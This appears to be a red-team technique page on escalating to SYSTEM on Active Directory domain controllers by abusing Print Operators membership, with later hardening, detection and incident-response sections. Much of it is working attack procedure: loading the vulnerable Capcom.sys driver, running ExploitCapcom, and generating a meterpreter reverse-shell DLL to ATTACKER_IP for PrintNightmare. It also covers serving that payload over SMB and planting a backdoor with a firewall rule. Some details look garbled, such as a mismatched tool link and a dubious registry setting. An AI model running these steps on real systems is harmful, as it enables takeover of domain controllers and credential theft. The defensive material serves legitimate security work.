| Attribute | Details |
|---|---|
| Technique ID | PE-VALID-007 |
| MITRE ATT&CK v18.1 | T1078.002 - Valid Accounts: Domain Accounts |
| Tactic | Privilege Escalation / Lateral Movement |
| Platforms | Windows AD (Domain Controller) |
| Severity | CRITICAL |
| Technique Status | ACTIVE (Print Operators group exists on all AD domains; vulnerability in PrintNightmare and driver loading remains exploitable) |
| Last Verified | 2026-01-09 |
| Affected Versions | Windows Server 2016, 2019, 2022, 2025 (PrintNightmare: 2016-2022; SeLoadDriverPrivilege: all versions) |
| Patched In | CVE-2021-34527 (PrintNightmare) patched June 2021 (KB5004476); SeLoadDriverPrivilege issue architectural (no patch) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: The Print Operators group is a built-in Active Directory group that grants members the SeLoadDriverPrivilege security privilege on all domain controllers in a domain. This privilege is extraordinarily dangerous because it allows the loading and unloading of arbitrary device drivers in kernel mode. While ostensibly designed to allow printing infrastructure administration, Print Operators membership creates a direct path to SYSTEM-level privilege escalation on any domain controller. An attacker who obtains Print Operators membership can: (1) Load a malicious device driver, (2) Execute arbitrary code in kernel context with SYSTEM privileges, (3) Gain unrestricted access to the domain controller’s entire filesystem and registry, or (4) Extract domain credentials (NTDS.dit, LSASS dumps, etc.). Additionally, the PrintSpooler service (which Print Operators can abuse) has been the source of multiple critical vulnerabilities including PrintNightmare (CVE-2021-34527), which allows remote code execution even from unprivileged contexts.
Attack Surface: Print Operators group membership (domain-wide), Print Spooler RPC service (spoolsv.exe), Windows driver loading mechanism (NtLoadDriver API), and device driver registry keys (HKLM\SYSTEM\CurrentControlSet\Services).
Business Impact: Catastrophic domain controller compromise. An attacker with Print Operators access gains SYSTEM-level control of domain controllers without needing to compromise KRBTGT, Golden Tickets, or other traditional privilege escalation vectors. This enables data exfiltration, ransomware deployment, lateral movement to all domain resources, and persistent backdoor installation. Because Print Operators is often overlooked as a “printer administration” group, membership is not aggressively audited.
Technical Context: Driver loading exploitation takes 10-30 minutes once Print Operators access is obtained. Successful exploitation requires either: (1) A vulnerable driver already on the system (e.g., Capcom.sys, which contains an arbitrary write vulnerability), or (2) The ability to upload a malicious driver (via PrintSpooler RPC or filesystem access). Detection is challenging because driver loading is a legitimate system operation.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS 5.35, CIS 6.1 | Ensure administrative credentials are not cached / Ensure that unnecessary Printers are not installed | | DISA STIG | V-93969, V-73589 | DC must enforce account restrictions / Unsigned drivers must not be allowed | | NIST 800-53 | AC-2, AC-3, SC-7 | Account Management, Access Enforcement, Boundary Protection | | GDPR | Art. 32 | Security of Processing (failure to restrict driver loading on Tier 0 systems) | | DORA | Art. 9 | Protection and Prevention (critical infrastructure administrative access) | | NIS2 | Art. 21 | Cyber Risk Management Measures (Tier 0 asset protection) | | ISO 27001 | A.9.2.3, A.13.1.1 | Management of Privileged Access Rights, Device and driver management |
Required Privileges:
Required Access:
Supported Versions:
Tools Required:
# Get Print Operators group members
$printOpsGroup = Get-ADGroup -Identity "Print Operators" -ErrorAction SilentlyContinue
$printOpsMembers = Get-ADGroupMember -Identity $printOpsGroup -Recursive
Write-Host "Print Operators Group Members:"
$printOpsMembers | Select-Object Name, ObjectClass, SamAccountName | Format-Table
# Check for nested groups
$printOpsMembers | Where-Object {$_.ObjectClass -eq "group"} | ForEach-Object {
Write-Host "Nested Group: $($_.Name)"
Get-ADGroupMember -Identity $_ | Select-Object Name
}
# Check if current user is member of Print Operators
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent().User
$isInPrintOps = (Get-ADPrincipalGroupMembership -Identity $currentUser).Name -contains "Print Operators"
Write-Host "Current user is in Print Operators: $isInPrintOps"
What to Look For:
# Check if Print Spooler is running on domain controllers
$dcs = Get-ADDomainController -Filter *
foreach ($dc in $dcs) {
$spoolerStatus = Get-Service -Name Spooler -ComputerName $dc.Name -ErrorAction SilentlyContinue
Write-Host "DC: $($dc.Name) | Spooler Service: $($spoolerStatus.Status) | StartType: $($spoolerStatus.StartType)"
}
What to Look For:
Supported Versions: Windows Server 2016-2025
Objective: Load a vulnerable driver (Capcom.sys) and exploit it to gain SYSTEM privileges.
Objective: Confirm the attacker has necessary privileges.
Command (PowerShell):
# Check group membership
net group "Print Operators"
# Enumerate privileges
whoami /priv
# Look for: SeLoadDriverPrivilege – Device Driver Load/Unload
Expected Output:
Print Operators – Members
---
DOMAIN\attacker
Privileges:
SeLoadDriverPrivilege – ENABLED
What This Means:
Objective: Obtain the vulnerable Capcom driver (or create equivalent).
Command (Download and verify):
# Download Capcom.sys (CVE-2015-6662 – arbitrary write vulnerability)
# Source: https://github.com/FSecureLABS/Capcom
# Place driver in writable location
Copy-Item -Path "C:\Tools\Capcom.sys" -Destination "C:\Temp\Capcom.sys"
# Verify driver exists
Get-Item "C:\Temp\Capcom.sys"
What Capcom.sys Does:
Objective: Register the driver in the Windows registry for loading.
Command (PowerShell – Admin Required):
# Create registry entry for driver
$driverPath = "C:\Temp\Capcom.sys"
$registryPath = "HKLM:\SYSTEM\CurrentControlSet\Services\Capcom"
# Create service registry key
New-Item -Path $registryPath -Force | Out-Null
# Set driver parameters
Set-ItemProperty -Path $registryPath -Name "Type" -Value 1 -Type DWORD # Type 1 = kernel driver
Set-ItemProperty -Path $registryPath -Name "Start" -Value 3 -Type DWORD # Start 3 = demand (manual)
Set-ItemProperty -Path $registryPath -Name "ImagePath" -Value "System32\drivers\Capcom.sys" -Type String
Set-ItemProperty -Path $registryPath -Name "DisplayName" -Value "Capcom" -Type String
# Copy driver to System32\drivers
Copy-Item -Path $driverPath -Destination "C:\Windows\System32\drivers\Capcom.sys" -Force
What This Means:
HKLM\SYSTEM\CurrentControlSet\Services\CapcomNtLoadDriver()Objective: Use NtLoadDriver API to load the registered driver.
Command (Using EopLoadDriver Tool):
# Download EopLoadDriver from GitHub
# https://github.com/TsukiCTF/Reverse-Shell-Generator
# Load the driver
EopLoadDriver.exe System\CurrentControlSet\Services\Capcom C:\Windows\System32\drivers\Capcom.sys
Expected Output:
[+] Loading driver...
[+] Driver loaded successfully
[+] Driver handle: 0x12345678
What This Means:
\\.\CapcomOpSec & Evasion:
Objective: Trigger the arbitrary write vulnerability to escalate privileges.
Command (Using ExploitCapcom PoC):
# Download ExploitCapcom from GitHub
# https://github.com/tandasat/ExploitCapcom
# Run exploit to spawn SYSTEM shell
ExploitCapcom.exe
Expected Output:
[+] Capcom driver loaded
[+] Arbitrary write primitive obtained
[+] Spawning SYSTEM shell...
C:\> whoami
nt authority\system
What This Means:
Supported Versions: Windows Server 2016-2022 (2022 patched in June 2021; unpatched systems remain vulnerable)
Objective: Exploit Print Spooler RPC to remotely execute code as SYSTEM via printer driver installation.
Objective: Verify Print Spooler service is running and accessible.
Command (Bash – Impacket rpcdump.py):
# Scan for Print Spooler RPC endpoint
python3 rpcdump.py <DC_IP> | grep -i "spooler\|printer\|print"
# Alternative: Query RPC endpoints
rpcdump.py <DC_IP> -p <PORT>
Expected Output:
[*] Enumerating endpoints on <DC_IP>
UUID 12345678-1234-1234-1234-123456789012 v1.0 Print Spooler
Objective: Create a DLL that will be loaded as a printer driver.
Command (PowerShell – Generate Driver DLL):
# Create malicious DLL payload
# This example uses msfvenom to generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f dll -o printer_driver.dll
# Alternative: Use custom C code compiled as DLL
# The DLL will be loaded by spoolsv.exe (SYSTEM context)
Objective: Make driver accessible via UNC path.
Command (Bash – Impacket smbserver):
# Start SMB server hosting malicious driver
python3 smbserver.py -smb2support -user attacker -password password share /tmp/
# Copy malicious driver to share
cp printer_driver.dll /tmp/
Objective: Call RpcAddPrinterDriverEx() with malicious driver path.
Command (Impacket-based exploit – printnightmare.py):
# Exploit PrintNightmare
python3 printnightmare.py -target <DC_IP> -username <DOMAIN>\<USER> -password <PASSWORD> \
-driver-path "\\<ATTACKER_IP>\share\printer_driver.dll"
Expected Output:
[+] Connecting to print spooler on <DC_IP>
[+] Adding printer driver from \\<ATTACKER_IP>\share\printer_driver.dll
[+] Driver loaded; code executed as SYSTEM
[+] Reverse shell received at <ATTACKER_IP>:4444
OpSec & Evasion:
Supported Versions: Windows Server 2016-2025
Objective: Use Print Operators local login access to the DC to manipulate files and registry.
Objective: Authenticate as Print Operators member to DC console.
Command (RDP login):
mstsc /v:<DC_IP>
# Enter credentials of Print Operators group member
Alternative – Remote Command Execution:
# Use PsExec or WinRM if credentials are available
Invoke-Command -ComputerName <DC_NAME> -Credential $printOpsAccount -ScriptBlock {
# Commands execute in Print Operators context
}
Objective: Leverage Print Operators’ privilege to write to otherwise-restricted directories.
Command (PowerShell – from Print Operators session):
# Create malicious script in protected location
$maliciousScript = @"
# Reverse shell or backdoor code
New-NetFirewallRule -DisplayName "Backdoor" -Direction Inbound -Protocol TCP -LocalPort 4444 -Action Allow
Start-Process -FilePath "C:\Tools\backdoor.exe"
"@
# Write to protected directory (accessible via Print Operators privilege)
New-Item -Path "C:\Windows\System32\spool\drivers\x64\3\backdoor.dll" -ItemType File -Force
Set-Content -Path "C:\Windows\System32\spool\drivers\x64\3\backdoor.dll" -Value $maliciousScript
Objective: Point printer driver to malicious DLL.
Command (Registry modification):
# Create printer driver entry pointing to backdoor
$driverPath = "C:\Windows\System32\spool\drivers\x64\3\backdoor.dll"
New-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3\backdoor" -Force
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3\backdoor" `
-Name "Driver" -Value $driverPath
1. Remove All Unnecessary Members from Print Operators Group
Why This Matters: Print Operators membership is extraordinarily dangerous and should almost never be granted to regular domain users or service accounts. The group should typically have zero members in modern domains that use a centralized print server (not a DC).
Manual Steps (PowerShell):
# Audit current Print Operators membership
$printOpsMembers = Get-ADGroupMember -Identity "Print Operators"
Write-Host "Current Print Operators Members:"
$printOpsMembers | Select-Object Name, ObjectClass, SamAccountName
# Remove all members (except if explicitly required)
foreach ($member in $printOpsMembers) {
Remove-ADGroupMember -Identity "Print Operators" -Members $member -Confirm:$false
Write-Host "[+] Removed $($member.Name) from Print Operators"
}
# Verify group is now empty
Get-ADGroupMember -Identity "Print Operators" | Measure-Object
Expected Output:
Count: 0
Group Policy Configuration (Enterprise):
PrintOperators-ProtectionPrint Operators group with No Membersgpupdate /force2. Disable Print Spooler Service on Domain Controllers
Why This Matters: Domain controllers should never function as print servers. Disabling Print Spooler removes a major attack surface (PrintNightmare, RPC vulnerabilities).
Manual Steps (PowerShell on DC):
# Stop Print Spooler service
Stop-Service -Name Spooler -Force -Confirm:$false
# Disable automatic startup
Set-Service -Name Spooler -StartupType Disabled -Confirm:$false
# Verify service is disabled
Get-Service -Name Spooler | Select-Object Name, Status, StartType
Expected Output:
Name Status StartType
---- ------ ---------
Spooler Stopped Disabled
Group Policy Configuration (Enterprise):
DisablePrintSpooler-DCsgpupdate /force and Stop-Service SpoolerVerification Across All DCs:
$dcs = Get-ADDomainController -Filter *
foreach ($dc in $dcs) {
$status = Invoke-Command -ComputerName $dc.Name -ScriptBlock { Get-Service -Name Spooler | Select-Object Status, StartType }
Write-Host "$($dc.Name): $($status.Status) / $($status.StartType) (should be Stopped / Disabled)"
}
3. Restrict Driver Loading via Group Policy
Why This Matters: Even if Print Operators exists, preventing arbitrary driver loading eliminates the primary attack vector.
Manual Steps (Group Policy):
Registry Alternative (PowerShell):
# Require signed drivers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\DriverFrameworks" `
-Name "UserStdSigning" -Value 1 -Type DWORD
# Block unsigned drivers
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SystemCertificates\Root" `
-Name "BlockUnsigned" -Value 1 -Type DWORD
1. Audit and Monitor Print Operators Group Changes
Why This Matters: Detects if attacker adds themselves to Print Operators group.
Event IDs to Monitor:
PowerShell Detection Query:
# Find all Print Operators group changes in past 30 days
Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4728, 4732
StartTime = (Get-Date).AddDays(-30)
} -ErrorAction SilentlyContinue | Where-Object {
$_.Message -match "Print Operators"
} | Select-Object TimeCreated, Message
2. Monitor for Driver Loading Events
Why This Matters: Detects exploitation of SeLoadDriverPrivilege.
Event IDs to Monitor:
Detection Query:
# Find driver loading events
Get-WinEvent -FilterHashtable @{
LogName = 'System'
ID = 7045
StartTime = (Get-Date).AddHours(-24)
} | Select-Object TimeCreated, Message
# Look for suspicious drivers: Capcom.sys, PrintNightmare, unsigned drivers
3. Monitor Print Spooler RPC Activity
Why This Matters: Detects PrintNightmare exploitation attempts.
Network Monitoring:
# Monitor RPC calls to Print Spooler
# Look for RpcAddPrinterDriver(Ex) calls from unusual sources
# Use Network Monitoring or packet capture tools
# Sysmon Event 3 (Network Connection) to port 135 (RPC) or 445 (SMB)
# followed by Sysmon Event 8 (CreateRemoteThread) in spoolsv.exe
Group Membership Changes:
Driver-Related Events:
Print Spooler Exploitation:
spoolsv.exeRpcAddPrinterDriver(Ex) in short timePrivilege Escalation Indicators:
Disk Locations:
C:\Windows\System32\drivers\ – Malicious drivers placed hereC:\Windows\System32\spool\drivers\x64\3\ – PrintNightmare driversHKLM\SYSTEM\CurrentControlSet\Services\ – Driver registry entriesC:\Windows\System32\winevt\Logs\System.evtx – Driver loading eventsRegistry:
HKLM\SYSTEM\CurrentControlSet\Services\<DriverName> – Driver configurationHKLM\SYSTEM\CurrentControlSet\Control\Print\ – Printer driver configurationsGet-Item -Path "HKLM:\..." | Select-Object PSPath, PSChildName, LastWriteTime)Memory:
spoolsv.exe address spaceGet-WmiObject Win32_SystemDriver)1. Immediate Containment (0-5 Minutes)
# Step 1: Remove suspicious members from Print Operators
Get-ADGroupMember -Identity "Print Operators" | Where-Object {
$_.Name -notmatch "^(ServiceAccount1|ServiceAccount2)$"
} | ForEach-Object {
Remove-ADGroupMember -Identity "Print Operators" -Members $_ -Confirm:$false
Write-Host "[+] Removed $($_.Name) from Print Operators"
}
# Step 2: Disable Print Spooler on all DCs immediately
Get-ADDomainController -Filter * | ForEach-Object {
Invoke-Command -ComputerName $_.Name -ScriptBlock {
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
}
}
# Step 3: Quarantine any suspicious driver services
$dcs = Get-ADDomainController -Filter *
foreach ($dc in $dcs) {
$services = Invoke-Command -ComputerName $dc.Name -ScriptBlock {
Get-WmiObject Win32_Service | Where-Object {
$_.Name -match "Capcom|Printer|Driver|Backdoor"
}
}
foreach ($service in $services) {
Write-Host "[!] Suspicious service found on $($dc.Name): $($service.Name)"
# Manual review required before deletion
}
}
2. Forensic Collection (5-30 Minutes)
# Export System Event Log
wevtutil epl System C:\Forensics\System.evtx
# Export Security Event Log
wevtutil epl Security C:\Forensics\Security.evtx
# Export Sysmon logs (if available)
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Forensics\Sysmon.evtx
# Collect driver files
Get-ChildItem -Path "C:\Windows\System32\drivers\*" -Include "*apcom*","*print*" -Recurse | Copy-Item -Destination "C:\Forensics\"
# Dump registry (Print Operators and driver entries)
reg export "HKLM\SYSTEM\CurrentControlSet\Services" "C:\Forensics\Services_Registry.reg"
reg export "HKLM\SYSTEM\CurrentControlSet\Control\Print" "C:\Forensics\Print_Registry.reg"
# Collect loaded driver list
Get-WmiObject Win32_SystemDriver | Export-Csv -Path "C:\Forensics\LoadedDrivers.csv"
3. Remediation (1-24 Hours)
# Step 1: Reset compromised user passwords
$compromisedUsers = @("attacker1", "compromised_svc")
foreach ($user in $compromisedUsers) {
$newPassword = "$(Get-Random -Minimum 100000 -Maximum 999999)@SecureP@ss"
Set-ADAccountPassword -Identity $user -NewPassword (ConvertTo-SecureString -AsPlainText $newPassword -Force) -Reset
Write-Host "[+] Password reset for $user"
}
# Step 2: Remove suspicious driver services
Get-WmiObject Win32_Service -Filter "Name LIKE '%apcom%'" | ForEach-Object { $_.Delete() }
# Step 3: Re-enable Print Spooler only if necessary
# (Only on dedicated print servers, NOT on DCs)
Set-Service -Name Spooler -StartupType Automatic
Start-Service -Name Spooler
# Step 4: Audit all driver signing certificates
# Look for self-signed or untrusted certs
Get-AuthenticodeSignature -FilePath "C:\Windows\System32\drivers\*.sys" | Where-Object {
$_.Status -ne "Valid"
}
# Step 5: Force domain replication to sync removals
Get-ADDomainController | ForEach-Object {
repadmin /replicate $_.Name (Get-ADDomainController -Discover -ForceDiscover).Name (Get-ADDomain).DistinguishedName
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Compromise user via phishing |
| 2 | Credential Access | [CA-BRUTE-001] Azure Password Spray | Spray credentials against AD endpoints |
| 3 | Privilege Escalation | [PE-VALID-002] Computer Account Quota | Escalate within domain using computer account |
| 4 | Current Step | [PE-VALID-007] | Abuse Print Operators group for DC SYSTEM access |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Admin Backdoor | Create persistent domain admin account |
| 6 | Lateral Movement | [CA-DUMP-006] NTDS Extraction | Extract all domain credentials from DC |
| 7 | Impact | [CO-DATA-001] Data Exfiltration | Exfiltrate sensitive domain data |
If Print Operators attacker can also exploit RBCD (Resource-Based Constrained Delegation) misconfigurations, they can:
If the organization has physical printers that sync credentials:
In multi-forest environments: